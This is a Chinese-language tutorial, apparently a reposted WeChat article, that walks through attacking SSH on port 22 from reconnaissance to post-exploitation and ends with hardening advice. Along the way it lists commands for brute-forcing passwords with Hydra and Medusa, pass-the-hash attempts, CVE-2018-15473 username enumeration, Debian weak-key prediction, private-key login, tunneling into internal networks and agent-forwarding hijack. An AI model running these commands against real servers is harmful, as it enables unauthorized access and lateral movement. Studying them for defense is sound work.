在网络安全的世界里,SSH(Secure Shell安全外壳协议)作为远程服务器管理的核心工具,本应是安全的守护者。然而,正因其
默认开放的22端口在全球服务器上的普及度,反而成为了黑客们首选的"钥匙孔"。
本文将为您揭秘SSH端口22的完整渗透测试流程,涵盖从初始侦察到最终控制的全部五个关键环节,助您了解攻击者的思维模式,从而构建更坚固的防御体系。
阶段一:目标侦察(Information Gathering)
-
- 运用 Nmap工具发现目标SSH服务
-
- 通过版本扫描(nmap -sV)获取服务详情
-
- 利用 Banner获取技术收集SSH服务信息
阶段二:脆弱性分析(Vulnerability Assessment)
-
- 部署 ssh-audit工具检测配置缺陷
-
- 在安全漏洞数据库中查询对应版本风险
阶段三:认证突破(Authentication Breaking)
-
- 应用 Hydra或Medusa 执行密码字典攻击
-
- 寻找并利用暴露在外的SSH私钥
阶段四:漏洞利用(Exploitation)
-
- 针对特定版本SSH的CVE漏洞进行利用
-
- 通过用户名枚举和随机数预测突破防线
阶段五:后续渗透(Post-Exploitation)
-
- 建立 SSH隧道实现内网穿透
-
- 执行会话劫持获取持久访问权限
1. 端口发现
利用Nmap工具精准定位SSH服务(通常在22端口):
nmap -p22 <目标IP地址>
2. 服务指纹收集
识别SSH服务器具体版本,为后续漏洞匹配奠定基础:
nmap -sV -p22 <目标IP地址>
3. SSH信息提取
通过网络连接工具获取SSH欢迎信息,了解操作系统和服务版本:
nc <目标IP地址> 22
1. 已知漏洞检索
确定SSH版本后,可在CVE详情库或**国家漏洞数据库(NVD)中查询对应风险。同时,可使用Nmap脚本引擎(NSE)**自动化扫描SSH安全问题:
nmap --script sshv1 -p22 <目标IP地址>nmap -p22 <目标IP地址> --script ssh2-enum-algosnmap -p22 <目标IP地址> --script ssh-hostkey --script-args ssh_hostkey=fullnmap -p22 <目标IP地址> --script ssh-auth-methods --script-args="ssh.user=root"
1.Hydra密码破解
针对SSH服务进行高效的密码字典攻击:
hydra -l <用户账号> -P <密码词库> <目标IP地址> ssh
2. Medusa密码破解
另一款强大的密码爆破工具,适用于大规模攻击场景:
medusa -h <目标IP地址> -u <用户账号> -P <密码词库> -M ssh
进阶技术:哈希传递攻击(PTH)
在高阶渗透环节中,攻击者往往绕过传统密码验证,直接利用哈希值进行身份认证,这种方式更为隐蔽高效。
1. 使用CrackMapExec进行并行SSH攻击
crackmapexec ssh <目标IP地址> -u <用户账号> -p <密码>
2. 利用pth-ssh执行哈希传递攻击
pth-ssh <用户账号>@<目标IP地址> <密码哈希值>
哈希传递攻击的优势所在
-
-
更高的隐匿性:不会触发频繁登录失败的安全警报
-
-
-
规避频率限制:SSH服务通常会限制短时间内的登录尝试次数,而PTH技术可以有效规避这一限制
-
1.SSH用户名枚举漏洞(CVE-2018-15473)
该漏洞允许攻击者无需密码即可验证系统中存在的用户名:
python ssh_enum.py <目标IP地址> -U <用户名列表>
2. OpenSSL随机数生成缺陷(CVE-2008-0166)
2006至2008年间,基于Debian的系统生成的SSH密钥存在随机性不足问题,导致密钥可被预测:
git clone https://github.com/g0tmi1k/debian-ssh.gitcd debian-ssh./find_key.py <目标IP地址> <用户账号>
1.利用获取的SSH私钥进行免密登录
一旦获得目标系统的SSH私钥文件(如id_rsa),攻击者可直接登录:
chmod 600 id_rsassh -i id_rsa <用户账号>@<目标IP地址>
2. 构建SSH隧道实现内网穿透
本地端口转发技术将攻击者本地端口映射至目标内网服务,实现内网资源访问:
ssh -L <本地端口>:<内网目标IP>:<内网目标端口> <用户账号>@<外网目标IP>
示例(访问内网Web服务器):
ssh -L 8080:10.10.10.5:80 [email protected]
3. SSH会话劫持
检测现有SSH连接攻击者可识别并接管系统上的活跃SSH会话:
ps aux | grep ssh
利用SSH代理转发功能进行会话接管
env | grep SSH_AUTH_SOCKssh-add -lssh -A <用户账号>@<目标IP地址>
若SSH代理已缓存了认证密钥,攻击者可无需密码直接连接至受害者可访问的其他系统。
面对SSH端口的安全威胁,系统管理员应采取以下多层次防御措施:
✅ 变更SSH默认端口(避开常见的22端口)✅ 关闭密码认证,仅启用公钥认证方式✅ 实施IP访问白名单,限制可连接的来源✅ 部署Fail2Ban等工具,自动封禁异常连接尝试✅ 保持OpenSSH版本更新,及时修补已知漏洞✅ 禁用不必要的SSH功能,如代理转发,减少会话劫持风险
无论是企业级服务器还是个人云主机,SSH安全配置都是信息安全的重要一环。通过合理配置和持续监控,可有效降低通过22端口入侵的风险。
💡 您的服务器是否已经做好了SSH安全防护?
原文始发于微信公众号(释然IT杂谈):SSH安全致命漏洞:22端口沦陷的完整渗透路线图
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论